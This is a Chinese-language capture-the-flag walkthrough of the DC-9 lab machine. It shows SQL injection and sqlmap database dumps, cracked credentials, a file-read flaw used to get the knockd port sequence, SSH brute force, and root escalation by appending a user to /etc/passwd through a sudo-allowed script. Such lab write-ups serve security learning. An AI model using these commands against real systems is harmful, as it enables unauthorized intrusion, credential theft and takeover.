DC_9
信息搜集
存活检测
详细扫描
后台网页扫描
漏洞利用
漏洞发现
-
在 search 页面的输入框尝试 sql 注入
1' or 1=1#
返回大量数据
-
sqlmap 爆破数据库
sqlmap -u http://10.4.7.154/search.php --dbs --batch
爆破失败,显示未找到参数
-
抓包查看
-
爆破数据库
# 查数据库: sqlmap -u http://10.4.7.154/results.php --data 'search=1' --dbs --batch
Staff 数据库
-
爆破表
#查表: sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -tables --batch
-
爆破表中数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D Staff -T Users --dump
爆破出一条 admin 数据
-
密码为 transorbital1
856f5de590ef37314e7c3bdf6f8a66dc (transorbital1)
users 数据库
-
爆表
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -tables --batch
-
爆数据
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails --dump
-
筛选用户名
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C username --dump
-
筛选密码
sqlmap -u http://10.4.7.154/results.php --data 'search=1' -D users -T UserDetails -C password --dump
-
将用户名密码分别保存到 user.txt 和 password.txt 文件中
-
ssh 爆破,显示被拒绝
-
查阅资料
SSH 的 knockd 是一种基于端口“敲门”(port knocking)的安全措施,它可以在不暴露 SSH 服务端口的情况下,允许合法用户通过特定的端口序列访问 SSH 服务。
具体来说,knockd 通过监听特定的端口序列,当用户按照正确的顺序敲击这些端口时,会自动解除对 SSH 服务端口的阻止,从而允许用户访问 SSH 服务。这种方法可以有效地隐藏 SSH 服务,避免暴露在公网中,从而提高系统的安全性。
网页信息搜集
-
登录网页
admin transorbital1
-
发现最下方出现“文件不存在”字样
-
尝试文件读取
-
读取 knockd.conf 文件
-
敲击这三个端口打开 ssh
nc 10.4.7.154 7469 nc 10.4.7.154 8475 nc 10.4.7.154 9842
-
敲击后可成爆破
login: chandlerb password: UrAG0D! login: joeyt password: Passw0rd login: janitor password: Ilovepeepee
提权
-
挨个用户登录,搜索提权相关信息
最终在 janitor 登录后发现了一些密码
-
使用这些密码再次爆破 user.txt
有爆破出 fredf 用户
-
登录 fredf 用户
sudo -l
查看 root 权限 -
查看 test
vi /opt/devstuff/dist/test/test
-
看不懂,运行一下
给了提示
-
查找 test.py
find / -name test.py 2>/dev/null
-
查看 test.py
python 脚本实现了接受两个命令行参数,并将一个文件的内容读取并追加到另一个文件中
-
尝试向 /etc/passwd 中添加 root 用户
-
将用户信息写入 shell 文件
-
使用有 root 权限的
/opt/devstuff/dist/test/test
写入sudo /opt/devstuff/dist/test/test shell /etc/passwd
成功写入
-
-
不支持无密码登录
-
生成加密密码
openssl passwd -1 -salt admin 123456
openssl: 是一个开放源代码的加密工具包,提供了各种密码学功能和安全协议的实现。
passwd: 是 OpenSSL 工具包中的一个命令,用于生成密码哈希值。
-1: 表示使用 Unix 加密哈希算法(crypt)进行密码哈希。
-salt admin: 指定盐值为 “admin”,盐值是一个随机字符串,用于增加密码哈希的安全性。
123456: 是要加密的密码明文。 -
重新编辑,添加到 /etc/passwd
-
切换用户,提权成功
总结
- sqlmap 爆破数据库若传参使用 POST 方法需要在 sqlmap 参数中添加
--data 'search=1'
- ssh knockd 敲击